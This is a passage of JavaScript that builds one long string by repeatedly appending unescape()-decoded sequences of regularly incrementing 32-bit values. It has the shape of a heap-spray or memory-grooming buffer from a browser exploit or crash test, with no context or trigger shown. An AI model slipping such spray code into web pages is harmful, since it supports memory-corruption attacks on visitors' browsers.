str += unescape("%u0000%u5bc0%u0000%u5bc4%u0000%u5bc8%u0000%u5bcc%u0000%u5bd0%u0000%u5bd4%u0000%u5bd8%u0000%u5bdc%u0000%u5be0%u0000%u5be4%u0000%u5be8%u0000%u5bec%u0000%u5bf0%u0000%u5bf4%u0000%u5bf8%u0000%u5bfc");
|
||||
str += unescape("%u0000%u5c00%u0000%u5c04%u0000%u5c08%u0000%u5c0c%u0000%u5c10%u0000%u5c14%u0000%u5c18%u0000%u5c1c%u0000%u5c20%u0000%u5c24%u0000%u5c28%u0000%u5c2c%u0000%u5c30%u0000%u5c34%u0000%u5c38%u0000%u5c3c");
|
||||
str += unescape("%u0000%u5c40%u0000%u5c44%u0000%u5c48%u0000%u5c4c%u0000%u5c50%u0000%u5c54%u0000%u5c58%u0000%u5c5c%u0000%u5c60%u0000%u5c64%u0000%u5c68%u0000%u5c6c%u0000%u5c70%u0000%u5c74%u0000%u5c78%u0000%u5c7c");
|
||||
str += unescape("%u0000%u5c80%u0000%u5c84%u0000%u5c88%u0000%u5c8c%u0000%u5c90%u0000%u5c94%u0000%u5c98%u0000%u5c9c%u0000%u5ca0%u0000%u5ca4%u0000%u5ca8%u0000%u5cac%u0000%u5cb0%u0000%u5cb4%u0000%u5cb8%u0000%u5cbc");
|
||||
str += unescape("%u0000%u5cc0%u0000%u5cc4%u0000%u5cc8%u0000%u5ccc%u0000%u5cd0%u0000%u5cd4%u0000%u5cd8%u0000%u5cdc%u0000%u5ce0%u0000%u5ce4%u0000%u5ce8%u0000%u5cec%u0000%u5cf0%u0000%u5cf4%u0000%u5cf8%u0000%u5cfc");
|
||||
str += unescape("%u0000%u5d00%u0000%u5d04%u0000%u5d08%u0000%u5d0c%u0000%u5d10%u0000%u5d14%u0000%u5d18%u0000%u5d1c%u0000%u5d20%u0000%u5d24%u0000%u5d28%u0000%u5d2c%u0000%u5d30%u0000%u5d34%u0000%u5d38%u0000%u5d3c");
|
||||
str += unescape("%u0000%u5d40%u0000%u5d44%u0000%u5d48%u0000%u5d4c%u0000%u5d50%u0000%u5d54%u0000%u5d58%u0000%u5d5c%u0000%u5d60%u0000%u5d64%u0000%u5d68%u0000%u5d6c%u0000%u5d70%u0000%u5d74%u0000%u5d78%u0000%u5d7c");
|
||||
str += unescape("%u0000%u5d80%u0000%u5d84%u0000%u5d88%u0000%u5d8c%u0000%u5d90%u0000%u5d94%u0000%u5d98%u0000%u5d9c%u0000%u5da0%u0000%u5da4%u0000%u5da8%u0000%u5dac%u0000%u5db0%u0000%u5db4%u0000%u5db8%u0000%u5dbc");
|
||||
str += unescape("%u0000%u5dc0%u0000%u5dc4%u0000%u5dc8%u0000%u5dcc%u0000%u5dd0%u0000%u5dd4%u0000%u5dd8%u0000%u5ddc%u0000%u5de0%u0000%u5de4%u0000%u5de8%u0000%u5dec%u0000%u5df0%u0000%u5df4%u0000%u5df8%u0000%u5dfc");
|
||||
str += unescape("%u0000%u5e00%u0000%u5e04%u0000%u5e08%u0000%u5e0c%u0000%u5e10%u0000%u5e14%u0000%u5e18%u0000%u5e1c%u0000%u5e20%u0000%u5e24%u0000%u5e28%u0000%u5e2c%u0000%u5e30%u0000%u5e34%u0000%u5e38%u0000%u5e3c");
|
||||
str += unescape("%u0000%u5e40%u0000%u5e44%u0000%u5e48%u0000%u5e4c%u0000%u5e50%u0000%u5e54%u0000%u5e58%u0000%u5e5c%u0000%u5e60%u0000%u5e64%u0000%u5e68%u0000%u5e6c%u0000%u5e70%u0000%u5e74%u0000%u5e78%u0000%u5e7c");
|
||||
str += unescape("%u0000%u5e80%u0000%u5e84%u0000%u5e88%u0000%u5e8c%u0000%u5e90%u0000%u5e94%u0000%u5e98%u0000%u5e9c%u0000%u5ea0%u0000%u5ea4%u0000%u5ea8%u0000%u5eac%u0000%u5eb0%u0000%u5eb4%u0000%u5eb8%u0000%u5ebc");
|
||||
str += unescape("%u0000%u5ec0%u0000%u5ec4%u0000%u5ec8%u0000%u5ecc%u0000%u5ed0%u0000%u5ed4%u0000%u5ed8%u0000%u5edc%u0000%u5ee0%u0000%u5ee4%u0000%u5ee8%u0000%u5eec%u0000%u5ef0%u0000%u5ef4%u0000%u5ef8%u0000%u5efc");
|
||||
str += unescape("%u0000%u5f00%u0000%u5f04%u0000%u5f08%u0000%u5f0c%u0000%u5f10%u0000%u5f14%u0000%u5f18%u0000%u5f1c%u0000%u5f20%u0000%u5f24%u0000%u5f28%u0000%u5f2c%u0000%u5f30%u0000%u5f34%u0000%u5f38%u0000%u5f3c");
|
||||
str += unescape("%u0000%u5f40%u0000%u5f44%u0000%u5f48%u0000%u5f4c%u0000%u5f50%u0000%u5f54%u0000%u5f58%u0000%u5f5c%u0000%u5f60%u0000%u5f64%u0000%u5f68%u0000%u5f6c%u0000%u5f70%u0000%u5f74%u0000%u5f78%u0000%u5f7c");
|
||||
str += unescape("%u0000%u5f80%u0000%u5f84%u0000%u5f88%u0000%u5f8c%u0000%u5f90%u0000%u5f94%u0000%u5f98%u0000%u5f9c%u0000%u5fa0%u0000%u5fa4%u0000%u5fa8%u0000%u5fac%u0000%u5fb0%u0000%u5fb4%u0000%u5fb8%u0000%u5fbc");
|
||||
str += unescape("%u0000%u5fc0%u0000%u5fc4%u0000%u5fc8%u0000%u5fcc%u0000%u5fd0%u0000%u5fd4%u0000%u5fd8%u0000%u5fdc%u0000%u5fe0%u0000%u5fe4%u0000%u5fe8%u0000%u5fec%u0000%u5ff0%u0000%u5ff4%u0000%u5ff8%u0000%u5ffc");
|
||||
str += unescape("%u0000%u6000%u0000%u6004%u0000%u6008%u0000%u600c%u0000%u6010%u0000%u6014%u0000%u6018%u0000%u601c%u0000%u6020%u0000%u6024%u0000%u6028%u0000%u602c%u0000%u6030%u0000%u6034%u0000%u6038%u0000%u603c");
|
||||
str += unescape("%u0000%u6040%u0000%u6044%u0000%u6048%u0000%u604c%u0000%u6050%u0000%u6054%u0000%u6058%u0000%u605c%u0000%u6060%u0000%u6064%u0000%u6068%u0000%u606c%u0000%u6070%u0000%u6074%u0000%u6078%u0000%u607c");
|
||||
str += unescape("%u0000%u6080%u0000%u6084%u0000%u6088%u0000%u608c%u0000%u6090%u0000%u6094%u0000%u6098%u0000%u609c%u0000%u60a0%u0000%u60a4%u0000%u60a8%u0000%u60ac%u0000%u60b0%u0000%u60b4%u0000%u60b8%u0000%u60bc");
|
||||
str += unescape("%u0000%u60c0%u0000%u60c4%u0000%u60c8%u0000%u60cc%u0000%u60d0%u0000%u60d4%u0000%u60d8%u0000%u60dc%u0000%u60e0%u0000%u60e4%u0000%u60e8%u0000%u60ec%u0000%u60f0%u0000%u60f4%u0000%u60f8%u0000%u60fc");
|
||||
str += unescape("%u0000%u6100%u0000%u6104%u0000%u6108%u0000%u610c%u0000%u6110%u0000%u6114%u0000%u6118%u0000%u611c%u0000%u6120%u0000%u6124%u0000%u6128%u0000%u612c%u0000%u6130%u0000%u6134%u0000%u6138%u0000%u613c");
|
||||
str += unescape("%u0000%u6140%u0000%u6144%u0000%u6148%u0000%u614c%u0000%u6150%u0000%u6154%u0000%u6158%u0000%u615c%u0000%u6160%u0000%u6164%u0000%u6168%u0000%u616c%u0000%u6170%u0000%u6174%u0000%u6178%u0000%u617c");
|
||||
str += unescape("%u0000%u6180%u0000%u6184%u0000%u6188%u0000%u618c%u0000%u6190%u0000%u6194%u0000%u6198%u0000%u619c%u0000%u61a0%u0000%u61a4%u0000%u61a8%u0000%u61ac%u0000%u61b0%u0000%u61b4%u0000%u61b8%u0000%u61bc");
|
||||
str += unescape("%u0000%u61c0%u0000%u61c4%u0000%u61c8%u0000%u61cc%u0000%u61d0%u0000%u61d4%u0000%u61d8%u0000%u61dc%u0000%u61e0%u0000%u61e4%u0000%u61e8%u0000%u61ec%u0000%u61f0%u0000%u61f4%u0000%u61f8%u0000%u61fc");
|
||||
str += unescape("%u0000%u6200%u0000%u6204%u0000%u6208%u0000%u620c%u0000%u6210%u0000%u6214%u0000%u6218%u0000%u621c%u0000%u6220%u0000%u6224%u0000%u6228%u0000%u622c%u0000%u6230%u0000%u6234%u0000%u6238%u0000%u623c");
|
||||
str += unescape("%u0000%u6240%u0000%u6244%u0000%u6248%u0000%u624c%u0000%u6250%u0000%u6254%u0000%u6258%u0000%u625c%u0000%u6260%u0000%u6264%u0000%u6268%u0000%u626c%u0000%u6270%u0000%u6274%u0000%u6278%u0000%u627c");
|
||||
str += unescape("%u0000%u6280%u0000%u6284%u0000%u6288%u0000%u628c%u0000%u6290%u0000%u6294%u0000%u6298%u0000%u629c%u0000%u62a0%u0000%u62a4%u0000%u62a8%u0000%u62ac%u0000%u62b0%u0000%u62b4%u0000%u62b8%u0000%u62bc");
|
||||
str += unescape("%u0000%u62c0%u0000%u62c4%u0000%u62c8%u0000%u62cc%u0000%u62d0%u0000%u62d4%u0000%u62d8%u0000%u62dc%u0000%u62e0%u0000%u62e4%u0000%u62e8%u0000%u62ec%u0000%u62f0%u0000%u62f4%u0000%u62f8%u0000%u62fc");
|
||||
str += unescape("%u0000%u6300%u0000%u6304%u0000%u6308%u0000%u630c%u0000%u6310%u0000%u6314%u0000%u6318%u0000%u631c%u0000%u6320%u0000%u6324%u0000%u6328%u0000%u632c%u0000%u6330%u0000%u6334%u0000%u6338%u0000%u633c");
|
||||
str += unescape("%u0000%u6340%u0000%u6344%u0000%u6348%u0000%u634c%u0000%u6350%u0000%u6354%u0000%u6358%u0000%u635c%u0000%u6360%u0000%u6364%u0000%u6368%u0000%u636c%u0000%u6370%u0000%u6374%u0000%u6378%u0000%u637c");
|
||||
str += unescape("%u0000%u6380%u0000%u6384%u0000%u6388%u0000%u638c%u0000%u6390%u0000%u6394%u0000%u6398%u0000%u639c%u0000%u63a0%u0000%u63a4%u0000%u63a8%u0000%u63ac%u0000%u63b0%u0000%u63b4%u0000%u63b8%u0000%u63bc");
|
||||
str += unescape("%u0000%u63c0%u0000%u63c4%u0000%u63c8%u0000%u63cc%u0000%u63d0%u0000%u63d4%u0000%u63d8%u0000%u63dc%u0000%u63e0%u0000%u63e4%u0000%u63e8%u0000%u63ec%u0000%u63f0%u0000%u63f4%u0000%u63f8%u0000%u63fc");
|
||||
str += unescape("%u0000%u6400%u0000%u6404%u0000%u6408%u0000%u640c%u0000%u6410%u0000%u6414%u0000%u6418%u0000%u641c%u0000%u6420%u0000%u6424%u0000%u6428%u0000%u642c%u0000%u6430%u0000%u6434%u0000%u6438%u0000%u643c");
|
||||
str += unescape("%u0000%u6440%u0000%u6444%u0000%u6448%u0000%u644c%u0000%u6450%u0000%u6454%u0000%u6458%u0000%u645c%u0000%u6460%u0000%u6464%u0000%u6468%u0000%u646c%u0000%u6470%u0000%u6474%u0000%u6478%u0000%u647c");
|
||||
str += unescape("%u0000%u6480%u0000%u6484%u0000%u6488%u0000%u648c%u0000%u6490%u0000%u6494%u0000%u6498%u0000%u649c%u0000%u64a0%u0000%u64a4%u0000%u64a8%u0000%u64ac%u0000%u64b0%u0000%u64b4%u0000%u64b8%u0000%u64bc");
|
||||
str += unescape("%u0000%u64c0%u0000%u64c4%u0000%u64c8%u0000%u64cc%u0000%u64d0%u0000%u64d4%u0000%u64d8%u0000%u64dc%u0000%u64e0%u0000%u64e4%u0000%u64e8%u0000%u64ec%u0000%u64f0%u0000%u64f4%u0000%u64f8%u0000%u64fc");
|
||||
str += unescape("%u0000%u6500%u0000%u6504%u0000%u6508%u0000%u650c%u0000%u6510%u0000%u6514%u0000%u6518%u0000%u651c%u0000%u6520%u0000%u6524%u0000%u6528%u0000%u652c%u0000%u6530%u0000%u6534%u0000%u6538%u0000%u653c");
|
||||
str += unescape("%u0000%u6540%u0000%u6544%u0000%u6548%u0000%u654c%u0000%u6550%u0000%u6554%u0000%u6558%u0000%u655c%u0000%u6560%u0000%u6564%u0000%u6568%u0000%u656c%u0000%u6570%u0000%u6574%u0000%u6578%u0000%u657c");
|
||||
str += unescape("%u0000%u6580%u0000%u6584%u0000%u6588%u0000%u658c%u0000%u6590%u0000%u6594%u0000%u6598%u0000%u659c%u0000%u65a0%u0000%u65a4%u0000%u65a8%u0000%u65ac%u0000%u65b0%u0000%u65b4%u0000%u65b8%u0000%u65bc");
|
||||
str += unescape("%u0000%u65c0%u0000%u65c4%u0000%u65c8%u0000%u65cc%u0000%u65d0%u0000%u65d4%u0000%u65d8%u0000%u65dc%u0000%u65e0%u0000%u65e4%u0000%u65e8%u0000%u65ec%u0000%u65f0%u0000%u65f4%u0000%u65f8%u0000%u65fc");
|
||||
str += unescape("%u0000%u6600%u0000%u6604%u0000%u6608%u0000%u660c%u0000%u6610%u0000%u6614%u0000%u6618%u0000%u661c%u0000%u6620%u0000%u6624%u0000%u6628%u0000%u662c%u0000%u6630%u0000%u6634%u0000%u6638%u0000%u663c");
|
||||
str += unescape("%u0000%u6640%u0000%u6644%u0000%u6648%u0000%u664c%u0000%u6650%u0000%u6654%u0000%u6658%u0000%u665c%u0000%u6660%u0000%u6664%u0000%u6668%u0000%u666c%u0000%u6670%u0000%u6674%u0000%u6678%u0000%u667c");
|
||||
str += unescape("%u0000%u6680%u0000%u6684%u0000%u6688%u0000%u668c%u0000%u6690%u0000%u6694%u0000%u6698%u0000%u669c%u0000%u66a0%u0000%u66a4%u0000%u66a8%u0000%u66ac%u0000%u66b0%u0000%u66b4%u0000%u66b8%u0000%u66bc");
|
||||
str += unescape("%u0000%u66c0%u0000%u66c4%u0000%u66c8%u0000%u66cc%u0000%u66d0%u0000%u66d4%u0000%u66d8%u0000%u66dc%u0000%u66e0%u0000%u66e4%u0000%u66e8%u0000%u66ec%u0000%u66f0%u0000%u66f4%u0000%u66f8%u0000%u66fc");
|
||||
str += unescape("%u0000%u6700%u0000%u6704%u0000%u6708%u0000%u670c%u0000%u6710%u0000%u6714%u0000%u6718%u0000%u671c%u0000%u6720%u0000%u6724%u0000%u6728%u0000%u672c%u0000%u6730%u0000%u6734%u0000%u6738%u0000%u673c");
|
||||
str += unescape("%u0000%u6740%u0000%u6744%u0000%u6748%u0000%u674c%u0000%u6750%u0000%u6754%u0000%u6758%u0000%u675c%u0000%u6760%u0000%u6764%u0000%u6768%u0000%u676c%u0000%u6770%u0000%u6774%u0000%u6778%u0000%u677c");
|
||||
str += unescape("%u0000%u6780%u0000%u6784%u0000%u6788%u0000%u678c%u0000%u6790%u0000%u6794%u0000%u6798%u0000%u679c%u0000%u67a0%u0000%u67a4%u0000%u67a8%u0000%u67ac%u0000%u67b0%u0000%u67b4%u0000%u67b8%u0000%u67bc");
|
||||
str += unescape("%u0000%u67c0%u0000%u67c4%u0000%u67c8%u0000%u67cc%u0000%u67d0%u0000%u67d4%u0000%u67d8%u0000%u67dc%u0000%u67e0%u0000%u67e4%u0000%u67e8%u0000%u67ec%u0000%u67f0%u0000%u67f4%u0000%u67f8%u0000%u67fc");
|
||||
str += unescape("%u0000%u6800%u0000%u6804%u0000%u6808%u0000%u680c%u0000%u6810%u0000%u6814%u0000%u6818%u0000%u681c%u0000%u6820%u0000%u6824%u0000%u6828%u0000%u682c%u0000%u6830%u0000%u6834%u0000%u6838%u0000%u683c");
|
||||
str += unescape("%u0000%u6840%u0000%u6844%u0000%u6848%u0000%u684c%u0000%u6850%u0000%u6854%u0000%u6858%u0000%u685c%u0000%u6860%u0000%u6864%u0000%u6868%u0000%u686c%u0000%u6870%u0000%u6874%u0000%u6878%u0000%u687c");
|
||||
str += unescape("%u0000%u6880%u0000%u6884%u0000%u6888%u0000%u688c%u0000%u6890%u0000%u6894%u0000%u6898%u0000%u689c%u0000%u68a0%u0000%u68a4%u0000%u68a8%u0000%u68ac%u0000%u68b0%u0000%u68b4%u0000%u68b8%u0000%u68bc");
|
||||
str += unescape("%u0000%u68c0%u0000%u68c4%u0000%u68c8%u0000%u68cc%u0000%u68d0%u0000%u68d4%u0000%u68d8%u0000%u68dc%u0000%u68e0%u0000%u68e4%u0000%u68e8%u0000%u68ec%u0000%u68f0%u0000%u68f4%u0000%u68f8%u0000%u68fc");
|
||||
str += unescape("%u0000%u6900%u0000%u6904%u0000%u6908%u0000%u690c%u0000%u6910%u0000%u6914%u0000%u6918%u0000%u691c%u0000%u6920%u0000%u6924%u0000%u6928%u0000%u692c%u0000%u6930%u0000%u6934%u0000%u6938%u0000%u693c");
|
||||
str += unescape("%u0000%u6940%u0000%u6944%u0000%u6948%u0000%u694c%u0000%u6950%u0000%u6954%u0000%u6958%u0000%u695c%u0000%u6960%u0000%u6964%u0000%u6968%u0000%u696c%u0000%u6970%u0000%u6974%u0000%u6978%u0000%u697c");
|
||||
str += unescape("%u0000%u6980%u0000%u6984%u0000%u6988%u0000%u698c%u0000%u6990%u0000%u6994%u0000%u6998%u0000%u699c%u0000%u69a0%u0000%u69a4%u0000%u69a8%u0000%u69ac%u0000%u69b0%u0000%u69b4%u0000%u69b8%u0000%u69bc");
|
||||
str += unescape("%u0000%u69c0%u0000%u69c4%u0000%u69c8%u0000%u69cc%u0000%u69d0%u0000%u69d4%u0000%u69d8%u0000%u69dc%u0000%u69e0%u0000%u69e4%u0000%u69e8%u0000%u69ec%u0000%u69f0%u0000%u69f4%u0000%u69f8%u0000%u69fc");
|
||||
str += unescape("%u0000%u6a00%u0000%u6a04%u0000%u6a08%u0000%u6a0c%u0000%u6a10%u0000%u6a14%u0000%u6a18%u0000%u6a1c%u0000%u6a20%u0000%u6a24%u0000%u6a28%u0000%u6a2c%u0000%u6a30%u0000%u6a34%u0000%u6a38%u0000%u6a3c");
|
||||
str += unescape("%u0000%u6a40%u0000%u6a44%u0000%u6a48%u0000%u6a4c%u0000%u6a50%u0000%u6a54%u0000%u6a58%u0000%u6a5c%u0000%u6a60%u0000%u6a64%u0000%u6a68%u0000%u6a6c%u0000%u6a70%u0000%u6a74%u0000%u6a78%u0000%u6a7c");
|
||||
str += unescape("%u0000%u6a80%u0000%u6a84%u0000%u6a88%u0000%u6a8c%u0000%u6a90%u0000%u6a94%u0000%u6a98%u0000%u6a9c%u0000%u6aa0%u0000%u6aa4%u0000%u6aa8%u0000%u6aac%u0000%u6ab0%u0000%u6ab4%u0000%u6ab8%u0000%u6abc");
|
||||
str += unescape("%u0000%u6ac0%u0000%u6ac4%u0000%u6ac8%u0000%u6acc%u0000%u6ad0%u0000%u6ad4%u0000%u6ad8%u0000%u6adc%u0000%u6ae0%u0000%u6ae4%u0000%u6ae8%u0000%u6aec%u0000%u6af0%u0000%u6af4%u0000%u6af8%u0000%u6afc");
|
||||
str += unescape("%u0000%u6b00%u0000%u6b04%u0000%u6b08%u0000%u6b0c%u0000%u6b10%u0000%u6b14%u0000%u6b18%u0000%u6b1c%u0000%u6b20%u0000%u6b24%u0000%u6b28%u0000%u6b2c%u0000%u6b30%u0000%u6b34%u0000%u6b38%u0000%u6b3c");
|
||||
str += unescape("%u0000%u6b40%u0000%u6b44%u0000%u6b48%u0000%u6b4c%u0000%u6b50%u0000%u6b54%u0000%u6b58%u0000%u6b5c%u0000%u6b60%u0000%u6b64%u0000%u6b68%u0000%u6b6c%u0000%u6b70%u0000%u6b74%u0000%u6b78%u0000%u6b7c");
|
||||
str += unescape("%u0000%u6b80%u0000%u6b84%u0000%u6b88%u0000%u6b8c%u0000%u6b90%u0000%u6b94%u0000%u6b98%u0000%u6b9c%u0000%u6ba0%u0000%u6ba4%u0000%u6ba8%u0000%u6bac%u0000%u6bb0%u0000%u6bb4%u0000%u6bb8%u0000%u6bbc");
|
||||
str += unescape("%u0000%u6bc0%u0000%u6bc4%u0000%u6bc8%u0000%u6bcc%u0000%u6bd0%u0000%u6bd4%u0000%u6bd8%u0000%u6bdc%u0000%u6be0%u0000%u6be4%u0000%u6be8%u0000%u6bec%u0000%u6bf0%u0000%u6bf4%u0000%u6bf8%u0000%u6bfc");
|
||||
str += unescape("%u0000%u6c00%u0000%u6c04%u0000%u6c08%u0000%u6c0c%u0000%u6c10%u0000%u6c14%u0000%u6c18%u0000%u6c1c%u0000%u6c20%u0000%u6c24%u0000%u6c28%u0000%u6c2c%u0000%u6c30%u0000%u6c34%u0000%u6c38%u0000%u6c3c");
|
||||
str += unescape("%u0000%u6c40%u0000%u6c44%u0000%u6c48%u0000%u6c4c%u0000%u6c50%u0000%u6c54%u0000%u6c58%u0000%u6c5c%u0000%u6c60%u0000%u6c64%u0000%u6c68%u0000%u6c6c%u0000%u6c70%u0000%u6c74%u0000%u6c78%u0000%u6c7c");
|
||||
str += unescape("%u0000%u6c80%u0000%u6c84%u0000%u6c88%u0000%u6c8c%u0000%u6c90%u0000%u6c94%u0000%u6c98%u0000%u6c9c%u0000%u6ca0%u0000%u6ca4%u0000%u6ca8%u0000%u6cac%u0000%u6cb0%u0000%u6cb4%u0000%u6cb8%u0000%u6cbc");
|
||||
str += unescape("%u0000%u6cc0%u0000%u6cc4%u0000%u6cc8%u0000%u6ccc%u0000%u6cd0%u0000%u6cd4%u0000%u6cd8%u0000%u6cdc%u0000%u6ce0%u0000%u6ce4%u0000%u6ce8%u0000%u6cec%u0000%u6cf0%u0000%u6cf4%u0000%u6cf8%u0000%u6cfc");
|
||||
str += unescape("%u0000%u6d00%u0000%u6d04%u0000%u6d08%u0000%u6d0c%u0000%u6d10%u0000%u6d14%u0000%u6d18%u0000%u6d1c%u0000%u6d20%u0000%u6d24%u0000%u6d28%u0000%u6d2c%u0000%u6d30%u0000%u6d34%u0000%u6d38%u0000%u6d3c");
|
||||
str += unescape("%u0000%u6d40%u0000%u6d44%u0000%u6d48%u0000%u6d4c%u0000%u6d50%u0000%u6d54%u0000%u6d58%u0000%u6d5c%u0000%u6d60%u0000%u6d64%u0000%u6d68%u0000%u6d6c%u0000%u6d70%u0000%u6d74%u0000%u6d78%u0000%u6d7c");
|
||||
str += unescape("%u0000%u6d80%u0000%u6d84%u0000%u6d88%u0000%u6d8c%u0000%u6d90%u0000%u6d94%u0000%u6d98%u0000%u6d9c%u0000%u6da0%u0000%u6da4%u0000%u6da8%u0000%u6dac%u0000%u6db0%u0000%u6db4%u0000%u6db8%u0000%u6dbc");
|
||||
str += unescape("%u0000%u6dc0%u0000%u6dc4%u0000%u6dc8%u0000%u6dcc%u0000%u6dd0%u0000%u6dd4%u0000%u6dd8%u0000%u6ddc%u0000%u6de0%u0000%u6de4%u0000%u6de8%u0000%u6dec%u0000%u6df0%u0000%u6df4%u0000%u6df8%u0000%u6dfc");
|
||||
str += unescape("%u0000%u6e00%u0000%u6e04%u0000%u6e08%u0000%u6e0c%u0000%u6e10%u0000%u6e14%u0000%u6e18%u0000%u6e1c%u0000%u6e20%u0000%u6e24%u0000%u6e28%u0000%u6e2c%u0000%u6e30%u0000%u6e34%u0000%u6e38%u0000%u6e3c");
|
||||
str += unescape("%u0000%u6e40%u0000%u6e44%u0000%u6e48%u0000%u6e4c%u0000%u6e50%u0000%u6e54%u0000%u6e58%u0000%u6e5c%u0000%u6e60%u0000%u6e64%u0000%u6e68%u0000%u6e6c%u0000%u6e70%u0000%u6e74%u0000%u6e78%u0000%u6e7c");
|
||||
str += unescape("%u0000%u6e80%u0000%u6e84%u0000%u6e88%u0000%u6e8c%u0000%u6e90%u0000%u6e94%u0000%u6e98%u0000%u6e9c%u0000%u6ea0%u0000%u6ea4%u0000%u6ea8%u0000%u6eac%u0000%u6eb0%u0000%u6eb4%u0000%u6eb8%u0000%u6ebc");
|
||||
str += unescape("%u0000%u6ec0%u0000%u6ec4%u0000%u6ec8%u0000%u6ecc%u0000%u6ed0%u0000%u6ed4%u0000%u6ed8%u0000%u6edc%u0000%u6ee0%u0000%u6ee4%u0000%u6ee8%u0000%u6eec%u0000%u6ef0%u0000%u6ef4%u0000%u6ef8%u0000%u6efc");
|
||||
str += unescape("%u0000%u6f00%u0000%u6f04%u0000%u6f08%u0000%u6f0c%u0000%u6f10%u0000%u6f14%u0000%u6f18%u0000%u6f1c%u0000%u6f20%u0000%u6f24%u0000%u6f28%u0000%u6f2c%u0000%u6f30%u0000%u6f34%u0000%u6f38%u0000%u6f3c");
|
||||
str += unescape("%u0000%u6f40%u0000%u6f44%u0000%u6f48%u0000%u6f4c%u0000%u6f50%u0000%u6f54%u0000%u6f58%u0000%u6f5c%u0000%u6f60%u0000%u6f64%u0000%u6f68%u0000%u6f6c%u0000%u6f70%u0000%u6f74%u0000%u6f78%u0000%u6f7c");
|
||||
str += unescape("%u0000%u6f80%u0000%u6f84%u0000%u6f88%u0000%u6f8c%u0000%u6f90%u0000%u6f94%u0000%u6f98%u0000%u6f9c%u0000%u6fa0%u0000%u6fa4%u0000%u6fa8%u0000%u6fac%u0000%u6fb0%u0000%u6fb4%u0000%u6fb8%u0000%u6fbc");
|
||||
str += unescape("%u0000%u6fc0%u0000%u6fc4%u0000%u6fc8%u0000%u6fcc%u0000%u6fd0%u0000%u6fd4%u0000%u6fd8%u0000%u6fdc%u0000%u6fe0%u0000%u6fe4%u0000%u6fe8%u0000%u6fec%u0000%u6ff0%u0000%u6ff4%u0000%u6ff8%u0000%u6ffc");
|
||||
str += unescape("%u0000%u7000%u0000%u7004%u0000%u7008%u0000%u700c%u0000%u7010%u0000%u7014%u0000%u7018%u0000%u701c%u0000%u7020%u0000%u7024%u0000%u7028%u0000%u702c%u0000%u7030%u0000%u7034%u0000%u7038%u0000%u703c");
|
||||
str += unescape("%u0000%u7040%u0000%u7044%u0000%u7048%u0000%u704c%u0000%u7050%u0000%u7054%u0000%u7058%u0000%u705c%u0000%u7060%u0000%u7064%u0000%u7068%u0000%u706c%u0000%u7070%u0000%u7074%u0000%u7078%u0000%u707c");
|
||||
str += unescape("%u0000%u7080%u0000%u7084%u0000%u7088%u0000%u708c%u0000%u7090%u0000%u7094%u0000%u7098%u0000%u709c%u0000%u70a0%u0000%u70a4%u0000%u70a8%u0000%u70ac%u0000%u70b0%u0000%u70b4%u0000%u70b8%u0000%u70bc");
|
||||
str += unescape("%u0000%u70c0%u0000%u70c4%u0000%u70c8%u0000%u70cc%u0000%u70d0%u0000%u70d4%u0000%u70d8%u0000%u70dc%u0000%u70e0%u0000%u70e4%u0000%u70e8%u0000%u70ec%u0000%u70f0%u0000%u70f4%u0000%u70f8%u0000%u70fc");
|
||||
str += unescape("%u0000%u7100%u0000%u7104%u0000%u7108%u0000%u710c%u0000%u7110%u0000%u7114%u0000%u7118%u0000%u711c%u0000%u7120%u0000%u7124%u0000%u7128%u0000%u712c%u0000%u7130%u0000%u7134%u0000%u7138%u0000%u713c");
|
||||
str += unescape("%u0000%u7140%u0000%u7144%u0000%u7148%u0000%u714c%u0000%u7150%u0000%u7154%u0000%u7158%u0000%u715c%u0000%u7160%u0000%u7164%u0000%u7168%u0000%u716c%u0000%u7170%u0000%u7174%u0000%u7178%u0000%u717c");
|
||||
str += unescape("%u0000%u7180%u0000%u7184%u0000%u7188%u0000%u718c%u0000%u7190%u0000%u7194%u0000%u7198%u0000%u719c%u0000%u71a0%u0000%u71a4%u0000%u71a8%u0000%u71ac%u0000%u71b0%u0000%u71b4%u0000%u71b8%u0000%u71bc");
|
||||
str += unescape("%u0000%u71c0%u0000%u71c4%u0000%u71c8%u0000%u71cc%u0000%u71d0%u0000%u71d4%u0000%u71d8%u0000%u71dc%u0000%u71e0%u0000%u71e4%u0000%u71e8%u0000%u71ec%u0000%u71f0%u0000%u71f4%u0000%u71f8%u0000%u71fc");
|
||||
str += unescape("%u0000%u7200%u0000%u7204%u0000%u7208%u0000%u720c%u0000%u7210%u0000%u7214%u0000%u7218%u0000%u721c%u0000%u7220%u0000%u7224%u0000%u7228%u0000%u722c%u0000%u7230%u0000%u7234%u0000%u7238%u0000%u723c");
|
||||
str += unescape("%u0000%u7240%u0000%u7244%u0000%u7248%u0000%u724c%u0000%u7250%u0000%u7254%u0000%u7258%u0000%u725c%u0000%u7260%u0000%u7264%u0000%u7268%u0000%u726c%u0000%u7270%u0000%u7274%u0000%u7278%u0000%u727c");
|
||||
str += unescape("%u0000%u7280%u0000%u7284%u0000%u7288%u0000%u728c%u0000%u7290%u0000%u7294%u0000%u7298%u0000%u729c%u0000%u72a0%u0000%u72a4%u0000%u72a8%u0000%u72ac%u0000%u72b0%u0000%u72b4%u0000%u72b8%u0000%u72bc");
|
||||
str += unescape("%u0000%u72c0%u0000%u72c4%u0000%u72c8%u0000%u72cc%u0000%u72d0%u0000%u72d4%u0000%u72d8%u0000%u72dc%u0000%u72e0%u0000%u72e4%u0000%u72e8%u0000%u72ec%u0000%u72f0%u0000%u72f4%u0000%u72f8%u0000%u72fc");
|
||||
str += unescape("%u0000%u7300%u0000%u7304%u0000%u7308%u0000%u730c%u0000%u7310%u0000%u7314%u0000%u7318%u0000%u731c%u0000%u7320%u0000%u7324%u0000%u7328%u0000%u732c%u0000%u7330%u0000%u7334%u0000%u7338%u0000%u733c");
|
||||
str += unescape("%u0000%u7340%u0000%u7344%u0000%u7348%u0000%u734c%u0000%u7350%u0000%u7354%u0000%u7358%u0000%u735c%u0000%u7360%u0000%u7364%u0000%u7368%u0000%u736c%u0000%u7370%u0000%u7374%u0000%u7378%u0000%u737c");
|
||||
str += unescape("%u0000%u7380%u0000%u7384%u0000%u7388%u0000%u738c%u0000%u7390%u0000%u7394%u0000%u7398%u0000%u739c%u0000%u73a0%u0000%u73a4%u0000%u73a8%u0000%u73ac%u0000%u73b0%u0000%u73b4%u0000%u73b8%u0000%u73bc");
|
||||
str += unescape("%u0000%u73c0%u0000%u73c4%u0000%u73c8%u0000%u73cc%u0000%u73d0%u0000%u73d4%u0000%u73d8%u0000%u73dc%u0000%u73e0%u0000%u73e4%u0000%u73e8%u0000%u73ec%u0000%u73f0%u0000%u73f4%u0000%u73f8%u0000%u73fc");
|
||||
